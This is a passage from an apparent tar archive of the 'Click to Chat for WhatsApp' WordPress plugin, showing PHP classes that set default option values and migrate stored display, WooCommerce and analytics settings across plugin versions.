class HT_CTC_Defaults {

    public $main_options = '';

    public function __construct() {
    }

    


}

new HT_CTC_Defaults();

endif; // END class_exists checkclick-to-chat-for-whatsapp/new/admin/db/defaults/class-ht-ctc-defaults-greetings.php000064400000004452147510273110024452 0ustar00<?php
/**
 * default values: Greetings
 * @since 3.9
 */

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CTC_Defaults_Greetings' ) ) :

class HT_CTC_Defaults_Greetings {

    public $greetings = '';
    public $g_1 = '';
    public $g_2 = '';
    public $g_settings = '';

    public function __construct() {
        $this->defaults();
    }

    function defaults() {
        $this->greetings = $this->greetings();
        $this->g_1 = $this->g_1();
        $this->g_2 = $this->g_2();
        $this->g_settings = $this->g_settings();
    }


    function greetings() {

        $values = array(
            'greetings_template' => 'no',
            'header_content' => '<p><span style="color: #ffffff;font-size: 17px;font-weight:500;">{site}</span></p><p><span style="color: #ffffff;font-size: 12px;">Typically replies within minutes</span></p>',
            'main_content' => '<span style="font-size:14px;">Any questions related to {title}?</span>',
            'bottom_content' => '<p style="text-align: center;"><span style="font-size: 12px;">&#128994; Online | Privacy policy</span></p>',
            'call_to_action' => 'WhatsApp Us',
            'g_header_online_status_color' => '#06e376',
            'g_header_online_status' => '1',
            'g_device' => 'all',
            'g_init' => 'default',
        );

        return $values;
    }

    function g_1() {

        $values = array(
            'header_bg_color' => '#075e54',
            'main_bg_color' => '#ece5dd',
            'message_box_bg_color' => '#dcf8c6',
            'main_bg_image' => '1',
            'cta_style' => '7_1',
        );

        return $values;
    }

    function g_2() {

        $values = array(
            'bg_color' => '#ffffff',
        );

        return $values;
    }

    /**
     * g_first_setup - (not using) - version number (if new g setup). if already g setup done. then this default values wont run, so no value not set or blank.
     */
    function g_settings() {

        $values = array(
            'opt_in' => 'Accept Privacy Policy',
            'g_size' => 'm',
            'g_first_setup' => HT_CTC_VERSION,
        );

        return $values;

    }

}

new HT_CTC_Defaults_Greetings();

endif; // END class_exists checkclick-to-chat-for-whatsapp/new/admin/db/class-ht-ctc-update-db-backup.php000064400000037056147510273110022165 0ustar00<?php
/**
 * backup/fallback option - if the updater process not worked well. while upgrading the plugin.
 *
 * @package ctc
 * @since 3.3.3
 * @from 
 *  class-ht-ctc-chat.php
 *  
 * @since 4.1 this file is not included anywhere. can remove in future.
 */

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CTC_Update_DB_Backup' ) ) :

class HT_CTC_Update_DB_Backup {


    public function __construct() {
        $this->ht_ctc_updatedb();
    }
    
    
    /**
     * update db - First
     * @since 3.2.2 ( intiall 3.0, later 3.2.2 moved form class-ht-ctc-db.php )
     */
    public function ht_ctc_updatedb() {

        $ht_ctc_plugin_details = get_option('ht_ctc_plugin_details');

        // only if already installed.
        if ( isset( $ht_ctc_plugin_details['version'] ) ) {

        $this->v3_3_3_update_woo();
        $this->v3_3_3_update_show_hide_chat();
        $this->v3_3_3_update_show_hide_group();
        $this->v3_3_3_update_show_hide_share();

        }


    }


    /**
     * Database updates.. 
     */


    /**
     * updating to v3.3.3 or above
     * 
     * chat
     */
    public function v3_3_3_update_show_hide_chat() {

        $options = get_option('ht_ctc_chat_options');

        // show/hide select settings value 2.0 to 3.3.2
        $show_or_hide = (isset($options['show_or_hide'])) ? esc_html($options['show_or_hide']) : '';

        $n = array();

        // desktop
        $n['display_desktop'] = 'show';
        if ( isset( $options['hideon_desktop'] ) ) {
            $n['display_desktop'] = 'hide';
        }

        // mobile
        $n['display_mobile'] = 'show';
        if ( isset( $options['hideon_mobile'] ) ) {
            $n['display_mobile'] = 'hide';
        }

        /**
         * show / hide
         * 
         * if its hide based on then default is hide and get only show settings and apply
         * if its show based on then default is show and get only hide settings and apply
         */

        $n['display']['show_hide'] = 'setting';

        if ( 'hide' == $show_or_hide ) {
            // default show on all pages (check: show settings)
            
            // new settings - select show
            $n['display']['global_display'] = 'show';

            // check if any hide settings added

            // posts
            if ( isset( $options['hideon_posts'] ) ) {
                $n['display']['posts'] = 'hide';
            }

            // pages
            if ( isset( $options['hideon_page'] ) ) {
                $n['display']['pages'] = 'hide';
            }

            // home page
            if ( isset( $options['hideon_homepage'] ) ) {
                $n['display']['home'] = 'hide';
            }

            // category
            if ( isset( $options['hideon_category'] ) ) {
                $n['display']['category'] = 'hide';
            }

            // archive
            if ( isset( $options['hideon_archive'] ) ) {
                $n['display']['archive'] = 'hide';
            }

            // 404
            if ( isset( $options['hideon_404'] ) ) {
                $n['display']['page_404'] = 'hide';
            }

            // woocommerce product pages
            if ( isset( $options['hideon_wooproduct'] ) ) {
                $n['display']['woo_product'] = 'hide';
            }

            // post id's
            if ( isset( $options['list_hideon_pages'] ) ) {
                $n['display']['list_hideon_pages'] = $options['list_hideon_pages'];
            }

            // category names
            if ( isset( $options['list_hideon_cat'] ) ) {
                $n['display']['list_hideon_cat'] = $options['list_hideon_cat'];
            }

        } elseif ( 'show' == $show_or_hide ) {
            
            // default hide on all pages (check: hide)

            // new settings - select hide
            $n['display']['global_display'] = 'hide';

            // check if any hide settings added

            // posts
            if ( isset( $options['showon_posts'] ) ) {
                $n['display']['posts'] = 'show';
            }

            // pages
            if ( isset( $options['showon_page'] ) ) {
                $n['display']['pages'] = 'show';
            }

            // home page
            if ( isset( $options['showon_homepage'] ) ) {
                $n['display']['home'] = 'show';
            }

            // category
            if ( isset( $options['showon_category'] ) ) {
                $n['display']['category'] = 'show';
            }

            // archive
            if ( isset( $options['showon_archive'] ) ) {
                $n['display']['archive'] = 'show';
            }

            // 404
            if ( isset( $options['showon_404'] ) ) {
                $n['display']['page_404'] = 'show';
            }

            // woocommerce product pages
            if ( isset( $options['showon_wooproduct'] ) ) {
                $n['display']['woo_product'] = 'show';
            }

            // post id's
            if ( isset( $options['list_showon_pages'] ) ) {
                $n['display']['list_showon_pages'] = $options['list_showon_pages'];
            }

            // category names
            if ( isset( $options['list_showon_cat'] ) ) {
                $n['display']['list_showon_cat'] = $options['list_showon_cat'];
            }

        }

        $db_values = get_option( 'ht_ctc_chat_options', array() );
        $update_os = array_merge($n, $db_values);
        update_option('ht_ctc_chat_options', $update_os);

    }


    /**
     * updating to v3.3.3 or above
     * 
     * group
     */
    public function v3_3_3_update_show_hide_group() {

        $options = get_option('ht_ctc_group');

        // show/hide select settings value 2.0 to 3.3.2
        $show_or_hide = (isset($options['show_or_hide'])) ? esc_html($options['show_or_hide']) : '';

        $n = array();

        // desktop
        $n['display_desktop'] = 'show';
        if ( isset( $options['hideon_desktop'] ) ) {
            $n['display_desktop'] = 'hide';
        }

        // mobile
        $n['display_mobile'] = 'show';
        if ( isset( $options['hideon_mobile'] ) ) {
            $n['display_mobile'] = 'hide';
        }

        /**
         * show / hide
         * 
         * if its hide based on then default is hide and get only show settings and apply
         * if its show based on then default is show and get only hide settings and apply
         */

        $n['display']['show_hide'] = 'setting';

        if ( 'hide' == $show_or_hide ) {
            // default show on all pages (check: show settings)
            
            // new settings - select show
            $n['display']['global_display'] = 'show';

            // check if any hide settings added

            // posts
            if ( isset( $options['hideon_posts'] ) ) {
                $n['display']['posts'] = 'hide';
            }

            // pages
            if ( isset( $options['hideon_page'] ) ) {
                $n['display']['pages'] = 'hide';
            }

            // home page
            if ( isset( $options['hideon_homepage'] ) ) {
                $n['display']['home'] = 'hide';
            }

            // category
            if ( isset( $options['hideon_category'] ) ) {
                $n['display']['category'] = 'hide';
            }

            // archive
            if ( isset( $options['hideon_archive'] ) ) {
                $n['display']['archive'] = 'hide';
            }

            // 404
            if ( isset( $options['hideon_404'] ) ) {
                $n['display']['page_404'] = 'hide';
            }

            // woocommerce product pages
            if ( isset( $options['hideon_wooproduct'] ) ) {
                $n['display']['woo_product'] = 'hide';
            }

            // post id's
            if ( isset( $options['list_hideon_pages'] ) ) {
                $n['display']['list_hideon_pages'] = $options['list_hideon_pages'];
            }

            // category names
            if ( isset( $options['list_hideon_cat'] ) ) {
                $n['display']['list_hideon_cat'] = $options['list_hideon_cat'];
            }

        } elseif ( 'show' == $show_or_hide ) {
            
            // default hide on all pages (check: hide)

            // new settings - select hide
            $n['display']['global_display'] = 'hide';

            // check if any hide settings added

            // posts
            if ( isset( $options['showon_posts'] ) ) {
                $n['display']['posts'] = 'show';
            }

            // pages
            if ( isset( $options['showon_page'] ) ) {
                $n['display']['pages'] = 'show';
            }

            // home page
            if ( isset( $options['showon_homepage'] ) ) {
                $n['display']['home'] = 'show';
            }

            // category
            if ( isset( $options['showon_category'] ) ) {
                $n['display']['category'] = 'show';
            }

            // archive
            if ( isset( $options['showon_archive'] ) ) {
                $n['display']['archive'] = 'show';
            }

            // 404
            if ( isset( $options['showon_404'] ) ) {
                $n['display']['page_404'] = 'show';
            }

            // woocommerce product pages
            if ( isset( $options['showon_wooproduct'] ) ) {
                $n['display']['woo_product'] = 'show';
            }

            // post id's
            if ( isset( $options['list_showon_pages'] ) ) {
                $n['display']['list_showon_pages'] = $options['list_showon_pages'];
            }

            // category names
            if ( isset( $options['list_showon_cat'] ) ) {
                $n['display']['list_showon_cat'] = $options['list_showon_cat'];
            }

        }

        $db_values = get_option( 'ht_ctc_group', array() );
        $update_os = array_merge($n, $db_values);
        update_option('ht_ctc_group', $update_os);

    }


    /**
     * updating to v3.3.3 or above
     * 
     * share
     */
    public function v3_3_3_update_show_hide_share() {

        $options = get_option('ht_ctc_share');

        // show/hide select settings value 2.0 to 3.3.2
        $show_or_hide = (isset($options['show_or_hide'])) ? esc_html($options['show_or_hide']) : '';

        $n = array();

        // desktop
        $n['display_desktop'] = 'show';
        if ( isset( $options['hideon_desktop'] ) ) {
            $n['display_desktop'] = 'hide';
        }

        // mobile
        $n['display_mobile'] = 'show';
        if ( isset( $options['hideon_mobile'] ) ) {
            $n['display_mobile'] = 'hide';
        }

        /**
         * show / hide
         * 
         * if its hide based on then default is hide and get only show settings and apply
         * if its show based on then default is show and get only hide settings and apply
         */

        $n['display']['show_hide'] = 'setting';

        if ( 'hide' == $show_or_hide ) {
            // default show on all pages (check: show settings)
            
            // new settings - select show
            $n['display']['global_display'] = 'show';

            // check if any hide settings added

            // posts
            if ( isset( $options['hideon_posts'] ) ) {
                $n['display']['posts'] = 'hide';
            }

            // pages
            if ( isset( $options['hideon_page'] ) ) {
                $n['display']['pages'] = 'hide';
            }

            // home page
            if ( isset( $options['hideon_homepage'] ) ) {
                $n['display']['home'] = 'hide';
            }

            // category
            if ( isset( $options['hideon_category'] ) ) {
                $n['display']['category'] = 'hide';
            }

            // archive
            if ( isset( $options['hideon_archive'] ) ) {
                $n['display']['archive'] = 'hide';
            }

            // 404
            if ( isset( $options['hideon_404'] ) ) {
                $n['display']['page_404'] = 'hide';
            }

            // woocommerce product pages
            if ( isset( $options['hideon_wooproduct'] ) ) {
                $n['display']['woo_product'] = 'hide';
            }

            // post id's
            if ( isset( $options['list_hideon_pages'] ) ) {
                $n['display']['list_hideon_pages'] = $options['list_hideon_pages'];
            }

            // category names
            if ( isset( $options['list_hideon_cat'] ) ) {
                $n['display']['list_hideon_cat'] = $options['list_hideon_cat'];
            }

        } elseif ( 'show' == $show_or_hide ) {
            
            // default hide on all pages (check: hide)

            // new settings - select hide
            $n['display']['global_display'] = 'hide';

            // check if any hide settings added

            // posts
            if ( isset( $options['showon_posts'] ) ) {
                $n['display']['posts'] = 'show';
            }

            // pages
            if ( isset( $options['showon_page'] ) ) {
                $n['display']['pages'] = 'show';
            }

            // home page
            if ( isset( $options['showon_homepage'] ) ) {
                $n['display']['home'] = 'show';
            }

            // category
            if ( isset( $options['showon_category'] ) ) {
                $n['display']['category'] = 'show';
            }

            // archive
            if ( isset( $options['showon_archive'] ) ) {
                $n['display']['archive'] = 'show';
            }

            // 404
            if ( isset( $options['showon_404'] ) ) {
                $n['display']['page_404'] = 'show';
            }

            // woocommerce product pages
            if ( isset( $options['showon_wooproduct'] ) ) {
                $n['display']['woo_product'] = 'show';
            }

            // post id's
            if ( isset( $options['list_showon_pages'] ) ) {
                $n['display']['list_showon_pages'] = $options['list_showon_pages'];
            }

            // category names
            if ( isset( $options['list_showon_cat'] ) ) {
                $n['display']['list_showon_cat'] = $options['list_showon_cat'];
            }

        }

        $db_values = get_option( 'ht_ctc_share', array() );
        $update_os = array_merge($n, $db_values);
        update_option('ht_ctc_share', $update_os);

    }


    /**
     * updating to v3.3.3 or above
     *  - woocommerce option changed from ht_ctc_chat_options settings to ht_ctc_woo_options
     * 
     * chat
     */
    public function v3_3_3_update_woo() {

        $options = get_option('ht_ctc_woo_options');

        $chat = get_option('ht_ctc_chat_options');


        $woo = array(
            'woo' => 'settings',
        );
        
        if ( isset($chat['woo_pre_filled']) ) {
            $woo['woo_pre_filled'] = $chat['woo_pre_filled'];
        }
        if ( isset($chat['woo_call_to_action']) ) {
            $woo['woo_call_to_action'] = $chat['woo_call_to_action'];
        }

        $db_woo = get_option( 'ht_ctc_woo_options', array() );
        $update_os = array_merge($woo, $db_woo);
        update_option('ht_ctc_woo_options', $update_os);
    }


}

new HT_CTC_Update_DB_Backup();

endif; // END class_exists checkclick-to-chat-for-whatsapp/new/admin/db/class-ht-ctc-db.php000064400000017061147510273110017434 0ustar00<?php
/**
 * Default Values
 * 
 *  set the default values
 *  which stores in database options table
 *
 * @package ctc
 * @since 2.0
 * @from ht-ccw-register.php
 */

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CTC_DB' ) ) :

class HT_CTC_DB {


    public $os = '';

    public function __construct() {
        $this->db();
    }
    
    
    /**
     * based on condition.. update the db .. 
     *
     */
    public function db() {
       
        $this->os = array();
        $ht_ctc_plugin_details = get_option('ht_ctc_plugin_details');

        if ( is_array($ht_ctc_plugin_details) ) {
            $this->os = $ht_ctc_plugin_details;
        }

        // only if already installed - then only call db updater
        if ( isset( $ht_ctc_plugin_details['version'] ) ) {
            // @since 3.2.2
            include_once HT_CTC_PLUGIN_DIR .'/new/admin/db/class-ht-ctc-update-db.php';
        }


        $this->ht_ctc_othersettings();
        $this->ht_ctc_chat_options();
        $this->ht_ctc_s2();
        $this->ht_ctc_plugin_details();
        // $this->ht_ctc_one_time();

    }


    
    /**
     * table name: "ht_ctc_othersettings"
     * 
     * other settings 
     * 
     * checkboxes .. 
     *  select_styles_issue
     *  enable_group  enable_group chat
     *  enable_share  enable_share
     *  google_analytics
     *  fb_pixel
     *  ga_ads
     *  delete options on plugin uninstall
     * 
     */
    public function ht_ctc_othersettings() {
        
        $values = array(
            'an_type' => 'no-animation',
            'an_delay' => '0',
            'an_itr' => '1',
            'show_effect' => 'no-show-effects',
            'amp' => '1',
        );

        // new installs. 
        if ( !isset ( $this->os['version'] ) ) {
            $values['show_effect'] = 'From Corner';

            // $values['google_analytics'] = '1';
            $values['g_an'] = 'ga4';
            $values['g_an_event_name'] = 'click to chat';

            $values['fb_pixel'] = '1';
            $values['pixel_event_type'] = 'trackCustom';
            $values['pixel_custom_event_name'] = 'Click to Chat by HoliThemes';
            $values['pixel_standard_event_name'] = 'Lead';
        }

        $db_values = get_option( 'ht_ctc_othersettings', array() );
        $db_values = (is_array( $db_values)) ? $db_values : [];

        $update_values = array_merge($values, $db_values);
        update_option('ht_ctc_othersettings', $update_values);

    }





    /**
     * table name: "ht_ctc_chat_options"
     * 
     * Chat options, main page .. some feature enable options .. 
     * 
     * checkboxes .. 
     *  hide/show options .. 
     *  same_settings - desktop, mobile same settings. i.e. apply dekstop setting to mobile - since v3.3.3 for new users auto checks
     * 
     * @since 3.2.7 - cc, num - better user interface to add number
     * 
     */
    public function ht_ctc_chat_options() {
        
        $values = array(
            'cc' => '',
            'num' => '',
            'number' => '',
            'pre_filled' => '',
            'call_to_action' => 'WhatsApp us',
            'style_desktop' => '2',
            'style_mobile' => '2',

            'side_1' => 'bottom',
            'side_1_value' => '15px',
            'side_2' => 'right',
            'side_2_value' => '15px',

            // 'show_or_hide' => 'hide',
            'list_hideon_pages' => '',
            'list_hideon_cat' => '',
            'list_showon_pages' => '',
            'list_showon_cat' => '',

        );

        $options = get_option('ht_ctc_chat_options');
        // mobile position if not set
        if ( !isset($options['mobile_side_1_value']) && !isset($options['mobile_side_2_value'])  ) {
            $mobile_values = array(
                'mobile_side_1' => ( isset( $options['side_1']) ) ? esc_attr( $options['side_1'] ) : 'bottom',
                'mobile_side_1_value' => ( isset( $options['side_1_value'])) ? esc_attr( $options['side_1_value'] ) : '10px',
                'mobile_side_2' => ( isset( $options['side_2']) ) ? esc_attr( $options['side_2'] ) : 'right',
                'mobile_side_2_value' => ( isset( $options['side_2_value'])) ? esc_attr( $options['side_2_value'] ) : '10px',
            );
            $values = array_merge($values, $mobile_values);
        }

        // for new installs. 
        if ( !isset ( $this->os['version'] ) ) {
            $values['same_settings'] = '1';
            $values['display_desktop'] = 'show';
            $values['display_mobile'] = 'show';
            $values['display']['global_display'] = 'show';
        }

        $db_values = get_option( 'ht_ctc_chat_options', array() );
        $db_values = (is_array( $db_values)) ? $db_values : [];

        $update_values = array_merge($values, $db_values);
        update_option('ht_ctc_chat_options', $update_values);

    }


    // styles

    /**
     * name: ht_ctc_s2
     * 
     * Style-2
     * green square icon
     * 
     * cta_type - hover only, show, hide - if new install dispaly on hover.
     */
    public function ht_ctc_s2() {
        
        $style_2 = array(
            
            's2_img_size' => '50px',
            'cta_textcolor' => '#ffffff',
            'cta_bgcolor' => '#25D366',
            
        );

        // new install
        if ( !isset ( $this->os['version'] ) ) {
            $style_2['cta_type'] = 'hover';
            $style_2['cta_font_size'] = '15px';
        } else {
            $style_2['cta_type'] = 'hide';
        }

        $db_values = get_option( 'ht_ctc_s2', array() );
        $db_values = (is_array( $db_values)) ? $db_values : [];

        $update_values = array_merge($style_2, $db_values);
        update_option('ht_ctc_s2', $update_values);

    }



    /**
     * name: ht_ctc_plugin_details
     * 
     * Add plugin Details to db 
     * Add plugin version to db - useful for upgrading db - class-ht-ctc-update-db.php
     *      update version value for each update. 
     * 
     * first_install_time @since v3.7 ( if installed before v3.7 first_install_time will be the first plugin version upgrade time of v3.7 or + )
     * v3, v3_2_5, v3_3_3, v3_3_5 - values changed to time @since v3.7
     */
    public function ht_ctc_plugin_details() {

        $time = time();

        // plugin details 
        $values = array(
            'version' => HT_CTC_VERSION,
            'first_install_time' => $time,
            'v3' => $time,
            'v3_2_5' => $time,
            'v3_3_3' => $time,
            'v3_3_5' => $time,
            'v3_7' => $time,
            'v3_8' => $time,
            'v3_9' => $time,
            'v3_19' => $time,
            'v3_23' => $time,
            'v3_28' => $time,
            'v3_31' => $time,
            'v4_3' => $time,
        );

        $db_values = get_option( 'ht_ctc_plugin_details', array() );
        $db_values = (is_array( $db_values)) ? $db_values : [];
        
        // extra safe instead of directly merge.
        $update_values = $values;
        if (is_array($db_values)) {
            $update_values = array_merge($values, $db_values);
        }

        /**
         * IMP: have to update version number.. 
         * (always use the latest value)
         */
        $update_values['version'] = HT_CTC_VERSION;

        update_option( 'ht_ctc_plugin_details', $update_values );
    }




}

new HT_CTC_DB();

endif; // END class_exists checkclick-to-chat-for-whatsapp/new/admin/db/class-ht-ctc-update-db.php000064400000060672147510273110020722 0ustar00<?php
/**
 * When plugin upgrades
 * 
 * update the db values to compatibile with in versions
 *
 * @package ctc
 * @since 3.2.2
 * @from ht-ctc-db.php -> db()
 */

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CTC_Update_DB' ) ) :

class HT_CTC_Update_DB {


    public function __construct() {
        $this->ht_ctc_updatedb();
    }
    
    
    /**
     * update db - First
     * @since 3.2.2 ( intiall 3.0, later 3.2.2 moved form class-ht-ctc-db.php )
     */
    public function ht_ctc_updatedb() {

        $ht_ctc_plugin_details = get_option('ht_ctc_plugin_details');

        // only if already installed.
        if ( isset( $ht_ctc_plugin_details['version'] ) ) {

            // v3: if not yet updated to v3 or above  (in v3 $ht_ctc_plugin_details['v3'] is not added)
            if ( ! isset( $ht_ctc_plugin_details['v3'] ) ) {
                $this->v3_update();
            }

            // v3.3.3: if not yet updated to v3.3.3 or above  (in v3 $ht_ctc_plugin_details['v3_3_3'] is not added)
            if ( ! isset( $ht_ctc_plugin_details['v3_3_3'] ) ) {
                $this->v3_3_3_update_woo();
                $this->v3_3_3_update_show_hide_chat();
                $this->v3_3_3_update_show_hide_group();
                $this->v3_3_3_update_show_hide_share();
            }

            // v3.3.5: if not yet updated to v3.3.5 or above  (in v3.3.5 $ht_ctc_plugin_details['v3_3_5'] is not added)
            if ( ! isset( $ht_ctc_plugin_details['v3_3_5'] ) ) {
                $this->v3_3_5_update();
            }

            /**
             * v3.23: if not yet updated to v3.23 or above  (in v3 $ht_ctc_plugin_details['v3'] is not added)
             */
            if ( ! isset( $ht_ctc_plugin_details['v3_23'] ) ) {
                $this->v3_23_update();
            }

            /**
             * v3.31: if not yet updated to v3.31 or above
             */
            if ( ! isset( $ht_ctc_plugin_details['v3_31'] ) ) {
                $this->v3_31_update();
            }


        }


    }


    /**
     * Database updates.. 
     */

    






    /**
     * updating to v3.31 or above
     * 
     * 3.31 changes. if google_analytics and ga4 
     * 
     * @version 3.31. input fields google_analytics, ga4 become g_an. with value ga or ga4.
     * 
     * early if google_analytics, ga4 is enabled. 'value' is 1.
     * @since 3.31 google_analytics, ga4 becomes one field: 'g_an' and 'value' will be ga(only google_analytics is enabled) or ga4(google_analytics and ga4 are enabled.).
     * ga or ga4. (coampatible with older versions: g_an value updates at the time of plugin upgrade. class-ht-ctc-update-db.php)
     * 
     */
    public function v3_31_update() {

        $os = get_option('ht_ctc_othersettings');

        $n = array();
        $n['g_an_event_name'] = 'click to chat';

        // if google_analytics is enabled. 
        //  (for safety params not added to db.)
        if ( isset($os['google_analytics']) ) {
            if (isset($os['ga4'])) {
                $n['g_an'] = 'ga4';
            } else {
                // only ga is enable but not ga4
                $n['g_an'] = 'ga';
                $n['g_an_event_name'] = 'chat: {number}';
            }
        }

        // if ( isset($os['fb_pixel']) ) {
        //     $n['pixel_event_type'] = 'trackCustom';
        //     $n['pixel_custom_event_name'] = 'Click to Chat by HoliThemes';
        //     $n['pixel_standard_event_name'] = 'Lead';
        // }


        $othersettings = get_option( 'ht_ctc_othersettings', array() );
        $othersettings = (is_array( $othersettings)) ? $othersettings : [];
        $update_othersettings = array_merge($n, $othersettings);
        update_option('ht_ctc_othersettings', $update_othersettings);
        
    }



    

    /**
     * updating to v3.23 or above
     * 
     * from main settings page web whatsapp checkbox feature is moved to other_setting - url_structure feature 3.12. 
     * And now in 3.23 url_structure is moving to main settings.
     * 
     * at 3.12 web whatsapp migration is not done from db. instead checking both values.
     * now in 3.23 updating the database comptibile with web whatsapp and url structure.
     * 
     * url_structure_d - web / default(wa.me)  / custom_url
     * 
     * @note: merge this function in the next db update. as only one value..
     *      @imp - if merging - here 'return' is used if not set. need to update this.. 
     */
    public function v3_23_update() {

        $options = get_option('ht_ctc_chat_options');
        $os = get_option('ht_ctc_othersettings');

        if ( !isset($os['url_structure_d']) && !isset($options['webandapi']) ) {
            return;
        }

        $n = array();
        $n['not_empty'] = '1';

        // desktop target
        if ( isset($os['url_target_d']) ) {
            $n['url_target_d'] = esc_attr( $os['url_target_d'] );
        }

        // destop structure
        if ( isset($options['webandapi']) ) {
            $n['url_structure_d'] = 'web';
        }

        if ( isset($os['url_structure_d']) ) {
            $n['url_structure_d'] = esc_attr( $os['url_structure_d'] );
        }

        // mobile structure
        if ( isset($os['url_structure_m']) ) {
            $n['url_structure_m'] = esc_attr( $os['url_structure_m'] );
        }
        
        $chat = get_option( 'ht_ctc_chat_options', array() );
        $chat = (is_array( $chat)) ? $chat : [];
        $update_chat = array_merge($n, $chat);
        update_option('ht_ctc_chat_options', $update_chat);

    }



    /**
     * updating to v3.3.3 or above
     * 
     * select styles issue checkbox  move from other styles to its c/g/s
     * 
     * @note: merge this function in the next db update. as only one value..
     *      @imp - if merging - here 'return' is used if not set. need to update this.. 
     */
    public function v3_3_5_update() {

        $os = get_option('ht_ctc_othersettings');

        if ( ! isset( $os['select_styles_issue'] ) ) {
            return;
        }

        $n = array();
        $n['select_styles_issue'] = '1';
        
        $chat = get_option( 'ht_ctc_chat_options', array() );
        $update_chat = array_merge($n, $chat);
        update_option('ht_ctc_chat_options', $update_chat);

        $group = get_option( 'ht_ctc_group', array() );
        $update_group = array_merge($n, $group);
        update_option('ht_ctc_group', $update_chat);

        $share = get_option( 'ht_ctc_share', array() );
        $update_share = array_merge($n, $share);
        update_option('ht_ctc_share', $update_chat);

    }





    /**
     * updating to v3.3.3 or above
     * 
     * chat
     */
    public function v3_3_3_update_show_hide_chat() {

        $options = get_option('ht_ctc_chat_options');

        // show/hide select settings value 2.0 to 3.3.2
        $show_or_hide = (isset($options['show_or_hide'])) ? esc_html($options['show_or_hide']) : '';

        $n = array();

        // desktop
        $n['display_desktop'] = 'show';
        if ( isset( $options['hideon_desktop'] ) ) {
            $n['display_desktop'] = 'hide';
        }

        // mobile
        $n['display_mobile'] = 'show';
        if ( isset( $options['hideon_mobile'] ) ) {
            $n['display_mobile'] = 'hide';
        }

        /**
         * show / hide
         * 
         * if its hide based on then default is hide and get only show settings and apply
         * if its show based on then default is show and get only hide settings and apply
         */

        $n['display']['show_hide'] = 'setting';

        if ( 'hide' == $show_or_hide ) {
            // default show on all pages (check: show settings)
            
            // new settings - select show
            $n['display']['global_display'] = 'show';

            // check if any hide settings added

            // posts
            if ( isset( $options['hideon_posts'] ) ) {
                $n['display']['posts'] = 'hide';
            }

            // pages
            if ( isset( $options['hideon_page'] ) ) {
                $n['display']['pages'] = 'hide';
            }

            // home page
            if ( isset( $options['hideon_homepage'] ) ) {
                $n['display']['home'] = 'hide';
            }

            // category
            if ( isset( $options['hideon_category'] ) ) {
                $n['display']['category'] = 'hide';
            }

            // archive
            if ( isset( $options['hideon_archive'] ) ) {
                $n['display']['archive'] = 'hide';
            }

            // 404
            if ( isset( $options['hideon_404'] ) ) {
                $n['display']['page_404'] = 'hide';
            }

            // woocommerce product pages
            if ( isset( $options['hideon_wooproduct'] ) ) {
                $n['display']['woo_product'] = 'hide';
            }

            // post id's
            if ( isset( $options['list_hideon_pages'] ) ) {
                $n['display']['list_hideon_pages'] = $options['list_hideon_pages'];
            }

            // category names
            if ( isset( $options['list_hideon_cat'] ) ) {
                $n['display']['list_hideon_cat'] = $options['list_hideon_cat'];
            }

        } elseif ( 'show' == $show_or_hide ) {
            
            // default hide on all pages (check: hide)

            // new settings - select hide
            $n['display']['global_display'] = 'hide';

            // check if any hide settings added

            // posts
            if ( isset( $options['showon_posts'] ) ) {
                $n['display']['posts'] = 'show';
            }

            // pages
            if ( isset( $options['showon_page'] ) ) {
                $n['display']['pages'] = 'show';
            }

            // home page
            if ( isset( $options['showon_homepage'] ) ) {
                $n['display']['home'] = 'show';
            }

            // category
            if ( isset( $options['showon_category'] ) ) {
                $n['display']['category'] = 'show';
            }

            // archive
            if ( isset( $options['showon_archive'] ) ) {
                $n['display']['archive'] = 'show';
            }

            // 404
            if ( isset( $options['showon_404'] ) ) {
                $n['display']['page_404'] = 'show';
            }

            // woocommerce product pages
            if ( isset( $options['showon_wooproduct'] ) ) {
                $n['display']['woo_product'] = 'show';
            }

            // post id's
            if ( isset( $options['list_showon_pages'] ) ) {
                $n['display']['list_showon_pages'] = $options['list_showon_pages'];
            }

            // category names
            if ( isset( $options['list_showon_cat'] ) ) {
                $n['display']['list_showon_cat'] = $options['list_showon_cat'];
            }

        }

        $db_values = get_option( 'ht_ctc_chat_options', array() );
        $update_os = array_merge($n, $db_values);
        update_option('ht_ctc_chat_options', $update_os);

    }


    /**
     * updating to v3.3.3 or above
     * 
     * group
     */
    public function v3_3_3_update_show_hide_group() {

        $options = get_option('ht_ctc_group');

        // show/hide select settings value 2.0 to 3.3.2
        $show_or_hide = (isset($options['show_or_hide'])) ? esc_html($options['show_or_hide']) : '';

        $n = array();

        // desktop
        $n['display_desktop'] = 'show';
        if ( isset( $options['hideon_desktop'] ) ) {
            $n['display_desktop'] = 'hide';
        }

        // mobile
        $n['display_mobile'] = 'show';
        if ( isset( $options['hideon_mobile'] ) ) {
            $n['display_mobile'] = 'hide';
        }

        /**
         * show / hide
         * 
         * if its hide based on then default is hide and get only show settings and apply
         * if its show based on then default is show and get only hide settings and apply
         */

        $n['display']['show_hide'] = 'setting';

        if ( 'hide' == $show_or_hide ) {
            // default show on all pages (check: show settings)
            
            // new settings - select show
            $n['display']['global_display'] = 'show';

            // check if any hide settings added

            // posts
            if ( isset( $options['hideon_posts'] ) ) {
                $n['display']['posts'] = 'hide';
            }

            // pages
            if ( isset( $options['hideon_page'] ) ) {
                $n['display']['pages'] = 'hide';
            }

            // home page
            if ( isset( $options['hideon_homepage'] ) ) {
                $n['display']['home'] = 'hide';
            }

            // category
            if ( isset( $options['hideon_category'] ) ) {
                $n['display']['category'] = 'hide';
            }

            // archive
            if ( isset( $options['hideon_archive'] ) ) {
                $n['display']['archive'] = 'hide';
            }

            // 404
            if ( isset( $options['hideon_404'] ) ) {
                $n['display']['page_404'] = 'hide';
            }

            // woocommerce product pages
            if ( isset( $options['hideon_wooproduct'] ) ) {
                $n['display']['woo_product'] = 'hide';
            }

            // post id's
            if ( isset( $options['list_hideon_pages'] ) ) {
                $n['display']['list_hideon_pages'] = $options['list_hideon_pages'];
            }

            // category names
            if ( isset( $options['list_hideon_cat'] ) ) {
                $n['display']['list_hideon_cat'] = $options['list_hideon_cat'];
            }

        } elseif ( 'show' == $show_or_hide ) {
            
            // default hide on all pages (check: hide)

            // new settings - select hide
            $n['display']['global_display'] = 'hide';

            // check if any hide settings added

            // posts
            if ( isset( $options['showon_posts'] ) ) {
                $n['display']['posts'] = 'show';
            }

            // pages
            if ( isset( $options['showon_page'] ) ) {
